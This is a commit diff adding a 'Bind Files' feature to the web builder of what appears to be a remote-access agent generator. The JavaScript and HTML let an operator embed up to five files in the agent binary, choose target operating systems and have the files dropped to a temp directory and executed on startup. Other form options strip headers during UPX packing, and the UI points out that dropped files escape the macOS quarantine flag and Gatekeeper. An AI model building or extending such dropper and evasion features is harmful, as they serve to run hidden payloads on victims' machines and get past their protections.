add binder
This commit is contained in:
@@ -227,6 +227,121 @@ if (iconClear) {
|
||||
});
|
||||
}
|
||||
|
||||
const MAX_BIND_FILES = 5;
|
||||
const MAX_BIND_FILE_BYTES = 10 * 1024 * 1024; // 10 MB
|
||||
|
||||
let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean }
|
||||
|
||||
const bindFileInput = document.getElementById("bind-file-input");
|
||||
const bindFilesList = document.getElementById("bind-files-list");
|
||||
const bindAddLabel = document.getElementById("bind-add-label");
|
||||
|
||||
function sanitizeBindName(name) {
|
||||
return name.replace(/[^A-Za-z0-9._-]/g, "").slice(0, 64) || "file";
|
||||
}
|
||||
|
||||
function renderBoundFiles() {
|
||||
if (!bindFilesList) return;
|
||||
bindFilesList.innerHTML = "";
|
||||
|
||||
boundFiles.forEach((entry, idx) => {
|
||||
const div = document.createElement("div");
|
||||
div.className = "flex flex-col gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg";
|
||||
|
||||
const osList = ["windows", "linux", "darwin"];
|
||||
const osIcons = { windows: "fa-brands fa-windows", linux: "fa-brands fa-linux", darwin: "fa-brands fa-apple" };
|
||||
const osColors = { windows: "text-blue-400", linux: "text-amber-400", darwin: "text-slate-200" };
|
||||
const osLabels = { windows: "Windows", linux: "Linux", darwin: "macOS" };
|
||||
|
||||
const osCheckboxes = osList
|
||||
.map(
|
||||
(os) =>
|
||||
`<label class="flex items-center gap-1 text-xs cursor-pointer select-none">
|
||||
<input type="checkbox" class="bind-os-cb w-3 h-3" data-idx="${idx}" data-os="${os}"
|
||||
${entry.targetOS.length === 0 || entry.targetOS.includes(os) ? "checked" : ""} />
|
||||
<i class="${osIcons[os]} ${osColors[os]}"></i> ${osLabels[os]}
|
||||
</label>`,
|
||||
)
|
||||
.join("");
|
||||
|
||||
div.innerHTML = `
|
||||
<div class="flex items-center gap-2">
|
||||
<i class="fa-solid fa-file text-violet-400 shrink-0"></i>
|
||||
<span class="text-sm font-medium text-slate-200 truncate flex-1">${entry.name}</span>
|
||||
<button type="button" class="bind-remove-btn text-red-400 hover:text-red-300 text-xs px-1" data-idx="${idx}" title="Remove">
|
||||
<i class="fa-solid fa-xmark"></i>
|
||||
</button>
|
||||
</div>
|
||||
<div class="flex items-center gap-3 flex-wrap">
|
||||
<span class="text-xs text-slate-500 shrink-0">Run on:</span>
|
||||
${osCheckboxes}
|
||||
<span class="flex-1"></span>
|
||||
<label class="flex items-center gap-1 text-xs cursor-pointer select-none">
|
||||
<input type="checkbox" class="bind-exec-cb w-3 h-3" data-idx="${idx}" ${entry.execute ? "checked" : ""} />
|
||||
<i class="fa-solid fa-play text-green-400"></i> Execute on start
|
||||
</label>
|
||||
</div>
|
||||
`;
|
||||
|
||||
div.querySelector(".bind-remove-btn").addEventListener("click", () => {
|
||||
boundFiles.splice(idx, 1);
|
||||
renderBoundFiles();
|
||||
updateBindAddVisibility();
|
||||
});
|
||||
|
||||
div.querySelectorAll(".bind-os-cb").forEach((cb) => {
|
||||
cb.addEventListener("change", () => {
|
||||
const checked = Array.from(div.querySelectorAll(`.bind-os-cb[data-idx="${idx}"]`))
|
||||
.filter((el) => el.checked)
|
||||
.map((el) => el.dataset.os);
|
||||
boundFiles[idx].targetOS = checked.length === osList.length ? [] : checked;
|
||||
});
|
||||
});
|
||||
|
||||
div.querySelector(".bind-exec-cb").addEventListener("change", (e) => {
|
||||
boundFiles[idx].execute = e.target.checked;
|
||||
});
|
||||
|
||||
bindFilesList.appendChild(div);
|
||||
});
|
||||
}
|
||||
|
||||
function updateBindAddVisibility() {
|
||||
if (!bindAddLabel) return;
|
||||
bindAddLabel.classList.toggle("hidden", boundFiles.length >= MAX_BIND_FILES);
|
||||
}
|
||||
|
||||
if (bindFileInput) {
|
||||
bindFileInput.addEventListener("change", () => {
|
||||
const file = bindFileInput.files[0];
|
||||
bindFileInput.value = "";
|
||||
if (!file) return;
|
||||
|
||||
if (boundFiles.length >= MAX_BIND_FILES) {
|
||||
alert(`Maximum ${MAX_BIND_FILES} files can be bound.`);
|
||||
return;
|
||||
}
|
||||
if (file.size > MAX_BIND_FILE_BYTES) {
|
||||
alert(`Each bound file must be under 10 MB. "${file.name}" is too large.`);
|
||||
return;
|
||||
}
|
||||
const safeName = sanitizeBindName(file.name);
|
||||
if (boundFiles.some((f) => f.name === safeName)) {
|
||||
alert(`A file named "${safeName}" is already in the list.`);
|
||||
return;
|
||||
}
|
||||
|
||||
const reader = new FileReader();
|
||||
reader.onload = () => {
|
||||
const base64 = reader.result.split(",")[1];
|
||||
boundFiles.push({ name: safeName, base64, targetOS: [], execute: true });
|
||||
renderBoundFiles();
|
||||
updateBindAddVisibility();
|
||||
};
|
||||
reader.readAsDataURL(file);
|
||||
});
|
||||
}
|
||||
|
||||
async function init() {
|
||||
try {
|
||||
updateServerUrlPlaceholder();
|
||||
@@ -396,6 +511,9 @@ form?.addEventListener("submit", async (e) => {
|
||||
iconBase64: pendingIconBase64 || undefined,
|
||||
enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false,
|
||||
upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false,
|
||||
boundFiles: boundFiles.length > 0
|
||||
? boundFiles.map((f) => ({ name: f.name, data: f.base64, targetOS: f.targetOS, execute: f.execute }))
|
||||
: undefined,
|
||||
};
|
||||
|
||||
const hasAndroid = platforms.some(p => p.startsWith('android-'));
|
||||
|
||||
@@ -436,6 +436,47 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- == Section 6: Bind Files (collapsed) == -->
|
||||
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="false">
|
||||
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
|
||||
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
|
||||
<i class="fa-solid fa-paperclip text-violet-400"></i>
|
||||
Bind Files
|
||||
<span class="text-xs text-slate-500 font-normal">Embed & run files on startup</span>
|
||||
</span>
|
||||
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
|
||||
</button>
|
||||
<div class="accordion-body">
|
||||
<div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-3">
|
||||
|
||||
<p class="text-xs text-slate-400">
|
||||
Files are embedded inside the agent binary and written to a temp directory when the agent starts.
|
||||
Up to 5 files, 10 MB each. Files set to <em>Execute</em> are launched immediately after being dropped.
|
||||
</p>
|
||||
|
||||
<!-- macOS Gatekeeper note -->
|
||||
<div class="flex items-start gap-2 p-3 bg-amber-900/20 border border-amber-700/40 rounded-lg text-xs text-amber-300">
|
||||
<i class="fa-brands fa-apple mt-0.5 shrink-0"></i>
|
||||
<span>
|
||||
<strong>macOS note:</strong> Files are written programmatically and do <em>not</em> receive the quarantine flag,
|
||||
so Gatekeeper usually will not block them. However, on newer macOS versions (Ventura+) unsigned binaries may
|
||||
still be restricted depending on system policy.
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<!-- Bound file list -->
|
||||
<div id="bind-files-list" class="flex flex-col gap-2"></div>
|
||||
|
||||
<!-- Add file button -->
|
||||
<label id="bind-add-label" class="flex items-center justify-center gap-2 px-4 py-2 rounded-lg border border-dashed border-slate-600 cursor-pointer hover:border-violet-500 transition-colors text-sm text-slate-400 hover:text-violet-400">
|
||||
<i class="fa-solid fa-plus"></i> Add File
|
||||
<input type="file" id="bind-file-input" class="hidden" />
|
||||
</label>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Build Button -->
|
||||
<button type="submit" id="build-btn"
|
||||
class="flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
|
||||
|
||||
Reference in New Issue
Block a user